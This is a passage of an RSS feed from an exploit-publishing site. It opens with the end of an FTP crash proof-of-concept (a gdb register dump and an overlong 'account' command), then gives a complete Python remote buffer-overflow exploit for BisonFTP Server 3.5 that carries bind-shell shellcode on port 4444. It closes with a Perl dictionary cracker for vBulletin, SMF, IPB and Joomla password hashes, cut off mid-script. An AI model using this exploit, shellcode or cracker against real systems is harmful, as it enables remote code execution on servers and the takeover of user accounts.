edx            0x6    6
ebx            0x659    1625
esp            0xbfffdbfc    0xbfffdbfc
ebp            0xbfffdc08    0xbfffdc08
esi            0x0    0
edi            0xb7f5dff4    -1208623116
eip            0xb7fe2422    0xb7fe2422 &lt;__kernel_vsyscall+2&gt;
eflags         0x200246    [ PF ZF IF ID ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb)
&nbsp;
Another Linux distribution did not crash, here is the example with Slackware 12:
================================================================================
&nbsp;
Slackware 12:
=============
&nbsp;
root@sl4ck1e:~# ftp 10.0.0.8
Connected to 10.0.0.8.
220 debianita FTP server ready.
Name (10.0.0.8:root): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
ftp&gt; account AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
sorry, input line too long
&nbsp;
ftp&gt;</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.exploit-id.com/dospoc/ubuntu/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BisonFTP Server </title>
		<link>http://www.exploit-id.com/remote-exploits/bisonftp-server</link>
		<comments>http://www.exploit-id.com/remote-exploits/bisonftp-server#comments</comments>
		<pubDate>Wed, 10 Aug 2011 08:44:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Remote Exploits]]></category>
		<category><![CDATA[localh0t]]></category>

		<guid isPermaLink="false">http://www.exploit-id.com/?p=5535</guid>
		<description><![CDATA[?View Code WINDOWS#!/usr/bin/python # BisonFTP Server &#60;=v3.5 Remote Buffer Overflow Exploit # Newer version's not tested, maybe vulnerable too # written by localh0t # Date: 10/08/11 # Contact: mattdch0@gmail.com # Follow: @mattdch # www.localh0t.com.ar &#124; www.mfsec.com.ar # Thanks to: Pr0zac, Irakirashia, Kchito # Targets: Windows XP SP3 Spanish (No DEP) (Change as you wish) # [...]]]></description>
			<content:encoded><![CDATA[
<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p5535code6'); return false;">View Code</a> WINDOWS</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p55356"><td class="code" id="p5535code6"><pre class="windows" style="font-family:monospace;">#!/usr/bin/python
# BisonFTP Server &lt;=v3.5 Remote Buffer Overflow Exploit
# Newer version's not tested, maybe vulnerable too
# written by localh0t
# Date: 10/08/11
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar | www.mfsec.com.ar
# Thanks to: Pr0zac, Irakirashia, Kchito
# Targets: Windows XP SP3 Spanish (No DEP) (Change as you wish)
# Shellcode: List shell on port 4444 (Change as you wish)
&nbsp;
from socket import *
import sys, struct, os, time
&nbsp;
if (len(sys.argv) &lt; 3):
	print &quot;\nBisonFTP Server &lt;=v3.5 Remote Buffer Overflow Exploit&quot;
        print &quot;\n	Usage: %s &lt;host&gt; &lt;port&gt; \n&quot; %(sys.argv[0])
	sys.exit()
&nbsp;
print &quot;\n[!] Connecting to %s ...&quot; %(sys.argv[1])
&nbsp;
# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
time.sleep(5)
&nbsp;
# padding
buffer = &quot;\x90&quot; * 1092
&nbsp;
# 368 bytes shellcode
buffer += (&quot;\x33\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e&quot;+
&quot;\xbb\xc1\x9c\x35\x83\xee\xfc\xe2\xf4\x47\x29\x15\x35\xbb\xc1&quot;+
&quot;\xfc\xbc\x5e\xf0\x4e\x51\x30\x93\xac\xbe\xe9\xcd\x17\x67\xaf&quot;+
&quot;\x4a\xee\x1d\xb4\x76\xd6\x13\x8a\x3e\xad\xf5\x17\xfd\xfd\x49&quot;+
&quot;\xb9\xed\xbc\xf4\x74\xcc\x9d\xf2\x59\x31\xce\x62\x30\x93\x8c&quot;+
&quot;\xbe\xf9\xfd\x9d\xe5\x30\x81\xe4\xb0\x7b\xb5\xd6\x34\x6b\x91&quot;+
&quot;\x17\x7d\xa3\x4a\xc4\x15\xba\x12\x7f\x09\xf2\x4a\xa8\xbe\xba&quot;+
&quot;\x17\xad\xca\x8a\x01\x30\xf4\x74\xcc\x9d\xf2\x83\x21\xe9\xc1&quot;+
&quot;\xb8\xbc\x64\x0e\xc6\xe5\xe9\xd7\xe3\x4a\xc4\x11\xba\x12\xfa&quot;+
&quot;\xbe\xb7\x8a\x17\x6d\xa7\xc0\x4f\xbe\xbf\x4a\x9d\xe5\x32\x85&quot;+
&quot;\xb8\x11\xe0\x9a\xfd\x6c\xe1\x90\x63\xd5\xe3\x9e\xc6\xbe\xa9&quot;+
&quot;\x2a\x1a\x68\xd3\xf2\xae\x35\xbb\xa9\xeb\x46\x89\x9e\xc8\x5d&quot;+
&quot;\xf7\xb6\xba\x32\x44\x14\x24\xa5\xba\xc1\x9c\x1c\x7f\x95\xcc&quot;+
&quot;\x5d\x92\x41\xf7\x35\x44\x14\xcc\x65\xeb\x91\xdc\x65\xfb\x91&quot;+
&quot;\xf4\xdf\xb4\x1e\x7c\xca\x6e\x48\x5b\x04\x60\x92\xf4\x37\xbb&quot;+
&quot;\xd0\xc0\xbc\x5d\xab\x8c\x63\xec\xa9\x5e\xee\x8c\xa6\x63\xe0&quot;+
&quot;\xe8\x96\xf4\x82\x52\xf9\x63\xca\x6e\x92\xcf\x62\xd3\xb5\x70&quot;+
&quot;\x0e\x5a\x3e\x49\x62\x32\x06\xf4\x40\xd5\x8c\xfd\xca\x6e\xa9&quot;+
&quot;\xff\x58\xdf\xc1\x15\xd6\xec\x96\xcb\x04\x4d\xab\x8e\x6c\xed&quot;+
&quot;\x23\x61\x53\x7c\x85\xb8\x09\xba\xc0\x11\x71\x9f\xd1\x5a\x35&quot;+
&quot;\xff\x95\xcc\x63\xed\x97\xda\x63\xf5\x97\xca\x66\xed\xa9\xe5&quot;+
&quot;\xf9\x84\x47\x63\xe0\x32\x21\xd2\x63\xfd\x3e\xac\x5d\xb3\x46&quot;+
&quot;\x81\x55\x44\x14\x27\xc5\x0e\x63\xca\x5d\x1d\x54\x21\xa8\x44&quot;+
&quot;\x14\xa0\x33\xc7\xcb\x1c\xce\x5b\xb4\x99\x8e\xfc\xd2\xee\x5a&quot;+
&quot;\xd1\xc1\xcf\xca\x6e\xc1\x9c\x35&quot;)
&nbsp;
# more padding
buffer += &quot;\x90&quot; * 8
&nbsp;
# jmp edx (shell32.dll Windows XP SP3 Spanish) (edx points to the 1st nopsled)
buffer += &quot;\x9a\x5c\x3c\x7e&quot;
&nbsp;
# end connection
buffer += &quot;\x0a&quot;
&nbsp;
# send buffer
print &quot;[!] Sending exploit...&quot;
sock.send(buffer)
sock.recv(1024)
sock.close()
print &quot;[!] Exploit succeed. Now netcat %s on port 4444\n&quot; %(sys.argv[1])
sys.exit()</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.exploit-id.com/remote-exploits/bisonftp-server/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Multi CMS Hash Cracker v0.1</title>
		<link>http://www.exploit-id.com/cracker/multi-cms-hash-cracker-v0-1</link>
		<comments>http://www.exploit-id.com/cracker/multi-cms-hash-cracker-v0-1#comments</comments>
		<pubDate>Sun, 24 Jul 2011 05:15:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Cracker]]></category>
		<category><![CDATA[localh0t]]></category>

		<guid isPermaLink="false">http://www.exploit-id.com/?p=4968</guid>
		<description><![CDATA[?View Code PHP#!usr/bin/perl use Digest::MD5 qw&#40;md5_hex&#41;; use Digest::SHA1 qw&#40;sha1_hex&#41;; &#160; # Author: localh0t # Date: 09/06/11 # Contact: mattdch0@gmail.com # Follow: @mattdch # Help if&#40;!$ARGV&#91;7&#93;&#41; &#123; print &#34;\n\n###########################################&#34;; print &#34;\n# Multi CMS Hash Cracker v0.1 by localh0t #&#34;; print &#34;\n###########################################&#34;; print &#34;\n\nUse: perl $0 -d [WORLDLIST FOLDER] -h [MD5 &#124; SHA-1 HASH] -s [SALT &#124; [...]]]></description>
			<content:encoded><![CDATA[
<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p4968code8'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p49688"><td class="code" id="p4968code8"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!usr/bin/perl
</span><span style="color: #000000; font-weight: bold;">use</span> Digest<span style="color: #339933;">::</span><a href="http://www.php.net/md5"><span style="color: #990000;">MD5</span></a>  qw<span style="color: #009900;">&#40;</span>md5_hex<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> Digest<span style="color: #339933;">::</span><a href="http://www.php.net/sha1"><span style="color: #990000;">SHA1</span></a>  qw<span style="color: #009900;">&#40;</span>sha1_hex<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Author: localh0t
</span><span style="color: #666666; font-style: italic;"># Date: 09/06/11
</span><span style="color: #666666; font-style: italic;"># Contact: mattdch0@gmail.com
</span><span style="color: #666666; font-style: italic;"># Follow: @mattdch
</span>
<span style="color: #666666; font-style: italic;"># Help
</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">7</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		 <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>###########################################&quot;</span><span style="color: #339933;">;</span>
		 <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span># Multi CMS Hash Cracker v0.1 by localh0t #&quot;</span><span style="color: #339933;">;</span>
         	 <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>###########################################&quot;</span><span style="color: #339933;">;</span>
		 <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>Use: perl <span style="color: #006699; font-weight: bold;">$0</span> -d [WORLDLIST FOLDER] -h [MD5 | SHA-1 HASH] -s [SALT | USERNAME] -c [CMS]<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		 <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;Example: perl <span style="color: #006699; font-weight: bold;">$0</span> -d /home/localh0t/wordlists/ -h caef8544a8e65e23f67ab844d4866e8d -s uZ*qX -c IPB<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		 <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;Example: perl <span style="color: #006699; font-weight: bold;">$0</span> -d /home/localh0t/wordlists/ -h dc4a27b25e3f780b89c165f931d6f85d5bd6e33e -s Administrator -c SMF<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		 <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;Note: Worlists must end with .txt or .lst (or any extension)<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>	
		 <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;Support:<span style="color: #000099; font-weight: bold;">\n</span>========<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		 <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;VB     : md5_hex(md5_hex(password).salt)           | (vBulletin)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		 <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;SMF    : sha1_hex(user.password)                   | (Simple Machines Forum)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		 <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;IPB    : md5_hex(md5_hex(salt).md5_hex(password))  | (Invision Power Board)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		 <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;JOOMLA : md5_hex(password.salt)                    | (Joomla 1.x)<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
		 <a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #666666; font-style: italic;"># Functions
</span>
sub ipb_cracker<span style="color: #009900;">&#123;</span>
	my <span style="color: #000088;">$hash</span> <span style="color: #339933;">=</span> shift<span style="color: #339933;">;</span>
	my <span style="color: #000088;">$salt</span> <span style="color: #339933;">=</span> shift<span style="color: #339933;">;</span>
	my <span style="color: #000088;">$dir</span>  <span style="color: #339933;">=</span> shift<span style="color: #339933;">;</span>
	<span style="color: #b1b100;">foreach</span> <span style="color: #000088;">$file</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span>FILES<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	open<span style="color: #009900;">&#40;</span>DICT<span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;&lt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$dir</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[-] Error opening <span style="color: #006699; font-weight: bold;">$file</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;[!] Using <span style="color: #006699; font-weight: bold;">$file</span>...<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">foreach</span> <span style="color: #000088;">$password</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&lt;</span>DICT<span style="color: #339933;">&gt;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$password</span><span style="color: #339933;">=</span>~s<span style="color: #339933;">/</span>\s<span style="color: #339933;">|</span>\n<span style="color: #666666; font-style: italic;">//;</span>
				chomp<span style="color: #009900;">&#40;</span><span style="color: #000088;">$password</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$cracked</span> <span style="color: #339933;">=</span> md5_hex<span style="color: #009900;">&#40;</span>md5_hex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$salt</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>md5_hex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$password</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$cracked</span> eq <span style="color: #000088;">$hash</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;[+] Hash cracked !: <span style="color: #006699; font-weight: bold;">$password</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
			<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;[!] Nothing found with <span style="color: #006699; font-weight: bold;">$file</span>...<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[-] Password not found<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
sub vb_cracker<span style="color: #009900;">&#123;</span>
	my <span style="color: #000088;">$hash</span> <span style="color: #339933;">=</span> shift<span style="color: #339933;">;</span>
	my <span style="color: #000088;">$salt</span> <span style="color: #339933;">=</span> shift<span style="color: #339933;">;</span>
	my <span style="color: #000088;">$dir</span>  <span style="color: #339933;">=</span> shift<span style="color: #339933;">;</span>
	<span style="color: #b1b100;">foreach</span> <span style="color: #000088;">$file</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span>FILES<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	open<span style="color: #009900;">&#40;</span>DICT<span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;&lt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$dir</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[-] Error opening <span style="color: #006699; font-weight: bold;">$file</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;[!] Using <span style="color: #006699; font-weight: bold;">$file</span>...<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">foreach</span> <span style="color: #000088;">$password</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&lt;</span>DICT<span style="color: #339933;">&gt;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$password</span><span style="color: #339933;">=</span>~s<span style="color: #339933;">/</span>\s<span style="color: #339933;">|</span>\n<span style="color: #666666; font-style: italic;">//;</span>
				chomp<span style="color: #009900;">&#40;</span><span style="color: #000088;">$password</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$cracked</span> <span style="color: #339933;">=</span> md5_hex<span style="color: #009900;">&#40;</span>md5_hex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$password</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #000088;">$salt</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$cracked</span> eq <span style="color: #000088;">$hash</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;[+] Hash cracked !: <span style="color: #006699; font-weight: bold;">$password</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
			<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;[!] Nothing found with <span style="color: #006699; font-weight: bold;">$file</span>...<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[-] Password not found<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
sub smf_cracker<span style="color: #009900;">&#123;</span>
	my <span style="color: #000088;">$hash</span> <span style="color: #339933;">=</span> shift<span style="color: #339933;">;</span>
	my <span style="color: #000088;">$user</span> <span style="color: #339933;">=</span> shift<span style="color: #339933;">;</span>
	my <span style="color: #000088;">$dir</span>  <span style="color: #339933;">=</span> shift<span style="color: #339933;">;</span>
	<span style="color: #b1b100;">foreach</span> <span style="color: #000088;">$file</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span>FILES<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	open<span style="color: #009900;">&#40;</span>DICT<span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;&lt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$dir</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[-] Error opening <span style="color: #006699; font-weight: bold;">$file</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;[!] Using <span style="color: #006699; font-weight: bold;">$file</span>...<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">foreach</span> <span style="color: #000088;">$password</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&lt;</span>DICT<span style="color: #339933;">&gt;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$password</span><span style="color: #339933;">=</span>~s<span style="color: #339933;">/</span>\s<span style="color: #339933;">|</span>\n<span style="color: #666666; font-style: italic;">//;</span>
				chomp<span style="color: #009900;">&#40;</span><span style="color: #000088;">$password</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$cracked</span> <span style="color: #339933;">=</span> sha1_hex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$user</span><span style="color: #339933;">.</span><span style="color: #000088;">$password</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$cracked</span> eq <span style="color: #000088;">$hash</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;[+] Hash cracked !: <span style="color: #006699; font-weight: bold;">$password</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
			<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;[!] Nothing found with <span style="color: #006699; font-weight: bold;">$file</span>...<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[-] Password not found<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
sub joomla_cracker<span style="color: #009900;">&#123;</span>
	my <span style="color: #000088;">$hash</span> <span style="color: #339933;">=</span> shift<span style="color: #339933;">;</span>
	my <span style="color: #000088;">$salt</span> <span style="color: #339933;">=</span> shift<span style="color: #339933;">;</span>
	my <span style="color: #000088;">$dir</span>  <span style="color: #339933;">=</span> shift<span style="color: #339933;">;</span>
	<span style="color: #b1b100;">foreach</span> <span style="color: #000088;">$file</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span>FILES<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	open<span style="color: #009900;">&#40;</span>DICT<span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;&lt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$dir</span><span style="color: #339933;">.</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[-] Error opening <span style="color: #006699; font-weight: bold;">$file</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;[!] Using <span style="color: #006699; font-weight: bold;">$file</span>...<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">foreach</span> <span style="color: #000088;">$password</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&lt;</span>DICT<span style="color: #339933;">&gt;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$password</span><span style="color: #339933;">=</span>~s<span style="color: #339933;">/</span>\s<span style="color: #339933;">|</span>\n<span style="color: #666666; font-style: italic;">//;</span>
				chomp<span style="color: #009900;">&#40;</span><span style="color: #000088;">$password</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$cracked</span> <span style="color: #339933;">=</span> md5_hex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$password</span><span style="color: #339933;">.</span><span style="color: #000088;">$salt</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$cracked</span> eq <span style="color: #000088;">$hash</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;[+] Hash cracked !: <span style="color: #006699; font-weight: bold;">$password</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
			<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;[!] Nothing found with <span style="color: #006699; font-weight: bold;">$file</span>...<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[-] Password not found<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
my <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #339933;">,</span> <span style="color: #000088;">$hash</span><span style="color: #339933;">,</span> <span style="color: #000088;">$salt</span><span style="color: #339933;">,</span> <span style="color: #000088;">$cms</span><span style="color: #339933;">,</span> <span style="color: #000088;">$arg</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">foreach</span> <span style="color: #000088;">$loop</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span>ARGV<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$loop</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #339933;">/</span>^<span style="color: #339933;">-</span>d$<span style="color: #339933;">/</span> and <span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$dir</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$ARGV</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$arg</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> last<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
